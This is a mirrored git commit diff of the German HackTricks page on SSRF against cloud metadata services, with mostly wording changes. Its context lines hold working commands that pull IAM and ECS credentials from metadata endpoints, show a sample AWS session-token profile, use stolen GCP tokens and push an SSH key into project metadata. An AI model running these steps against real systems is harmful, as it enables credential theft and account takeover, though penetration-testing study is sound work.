mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.
This commit is contained in:
parent
c209da5b11
commit
28d6fb7e34
1 changed files with 19 additions and 22 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -28,7 +28,7 @@ Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben könn
|
|||
|
||||
**Das Metadaten**-Endpunkt kann von innerhalb jeder EC2-Maschine aus zugegriffen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen zu den Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF es ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token anfordern**, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es **komplizierter, es mit einem SSRF auszunutzen**).
|
||||
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so dass jede **SSRF es ausnutzen kann**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token anfordern**, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es **komplizierter, es mit einem SSRF auszunutzen**).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**gemäß den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** eine **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
|
@ -96,13 +96,13 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
Als Beispiel für **öffentliche IAM-Anmeldeinformationen**, die freigelegt sind, können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Als Beispiel für **öffentliche IAM-Anmeldeinformationen**, die freigelegt sind, können Sie folgende Website besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** unter folgendem Link überprüfen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Sie können dann **diese Anmeldeinformationen mit der AWS CLI verwenden**. Dadurch können Sie **alles tun, wozu diese Rolle berechtigt ist**.
|
||||
|
||||
Um von den neuen Anmeldeinformationen zu profitieren, müssen Sie ein neues AWS-Profil erstellen, wie dieses:
|
||||
Um von den neuen Anmeldeinformationen zu profitieren, müssen Sie ein neues AWS-Profil erstellen, ähnlich wie dieses:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
|
@ -111,14 +111,14 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
```
|
||||
Beachten Sie das **aws\_session\_token**, das für das Profil unerlässlich ist.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren.
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldedaten verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren.
|
||||
|
||||
### SSRF in AWS ECS (Container Service) Anmeldeinformationen
|
||||
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Verwaltungsinfrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in **ECS** ausgeführt wird, zu kompromittieren, ändern sich die **Metadaten-Endpunkte**.
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Management-Infrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in **ECS** ausgeführt wird, zu kompromittieren, ändern sich die **Metadaten-Endpunkte**.
|
||||
|
||||
Wenn Sie auf _**http://169.254.170.2/v2/credentials/\<GUID>**_ zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \<GUID> finden**. Um den \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
|
||||
Sie könnten in der Lage sein, sie auszulesen, indem Sie einen **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Sie könnten in der Lage sein, sie auszulesen, indem Sie einen **Pfad-Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
|
@ -164,7 +164,7 @@ Sie können [**hier die Dokumentation zu Metadaten-Endpunkten finden**](https://
|
|||
|
||||
### SSRF-URL für Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf die Metadaten-Endpunkte mit den folgenden URLs zugreifen:
|
||||
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf den Metadaten-Endpunkt mit den folgenden URLs zugreifen:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
|
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
|||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Um den **extrahierten Dienstkontotoken zu verwenden**, können Sie einfach Folgendes tun:
|
||||
Um das **extrahierte Dienstkonto-Token zu verwenden**, können Sie einfach Folgendes tun:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -285,7 +285,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
|||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Jetzt den SSH-Schlüssel hochladen.
|
||||
Jetzt schieben Sie den SSH-Schlüssel.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -296,7 +296,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
Der Metadaten-Endpunkt funktioniert genauso wie bei VMs, jedoch ohne einige Endpunkte:
|
||||
```bash
|
||||
|
@ -343,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Finde die wichtigsten Sicherheitslücken, damit du sie schneller beheben kannst. Intruder verfolgt deine Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in deinem gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probiere es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Finde die wichtigsten Sicherheitslücken, damit du sie schneller beheben kannst. Intruder verfolgt deine Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in deinem gesamten Technologiestack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probiere es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -400,12 +400,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Azure App Service
|
||||
|
||||
Aus der **env** können Sie die Werte von `IDENTITY_HEADER` _und_ `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu sammeln.
|
||||
Aus der **env** können Sie die Werte von `IDENTITY_HEADER` und `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu erhalten.
|
||||
|
||||
Meistens benötigen Sie ein Token für eine dieser Ressourcen:
|
||||
|
||||
|
@ -484,7 +481,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist also möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
|
||||
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist daher möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -542,7 +539,7 @@ Oracle Cloud bietet eine Reihe von Endpunkten für den Zugriff auf verschiedene
|
|||
|
||||
## Alibaba
|
||||
|
||||
Alibaba bietet Endpunkte zum Abrufen von Metadaten, einschließlich Instanz- und Bild-IDs:
|
||||
Alibaba bietet Endpunkte für den Zugriff auf Metadaten, einschließlich Instanz- und Bild-IDs:
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
@ -559,7 +556,7 @@ Kubernetes ETCD kann API-Schlüssel, interne IP-Adressen und Ports speichern. De
|
|||
|
||||
Docker-Metadaten können lokal abgerufen werden, wobei Beispiele für die Abfrage von Container- und Bildinformationen gegeben werden:
|
||||
|
||||
* Einfaches Beispiel zum Abrufen von Container- und Bildmetadaten über den Docker-Socket:
|
||||
* Einfaches Beispiel zum Abrufen von Metadaten zu Containern und Bildern über den Docker-Socket:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
|
@ -573,7 +570,7 @@ Die Metadaten von Rancher können über folgende URL abgerufen werden:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder überwacht Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrem gesamten Technologiestapel, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrem gesamten Technologiestapel, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -587,6 +584,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue